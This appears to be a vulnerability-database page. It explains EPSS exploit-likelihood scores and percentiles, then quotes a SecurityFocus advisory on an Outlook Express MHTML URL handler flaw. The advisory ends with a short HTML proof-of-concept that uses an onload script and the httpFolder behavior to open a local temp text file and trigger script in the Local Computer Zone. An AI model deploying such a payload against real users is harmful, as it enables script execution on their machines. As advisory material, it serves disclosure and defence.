EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/5473/info Microsoft Outlook Express introduced a URL handler called MHTML (MIME Encapsulation of Aggregate HTML). This allows Internet Explorer to pass MHTML files to Outlook Express for rendering. The MHTML URL handler does not validate the file type it is rendering. This could allow a file type that is normally considered to be a "safe file type", such as a .txt file, to be opened and have any script contained within rendered. This script would then be rendered in the Local Computer Zone. <html> <head> <title>malware.com</title> <meta NAME="Author" CONTENT="malware.com"> <meta name="robots" content="noindex, nofollow"> </head> <body onload=malware() style="behavior: url(#default#httpFolder);"> <script> function malware(){ document.body.navigate("http://www.microsoft.com");alert("malware"); open("file://C%3A%5CWINDOWS%5CTemp%5Cwecerr.txt") } </script><br><br><br><br> <center><image src="smile.gif"></center>
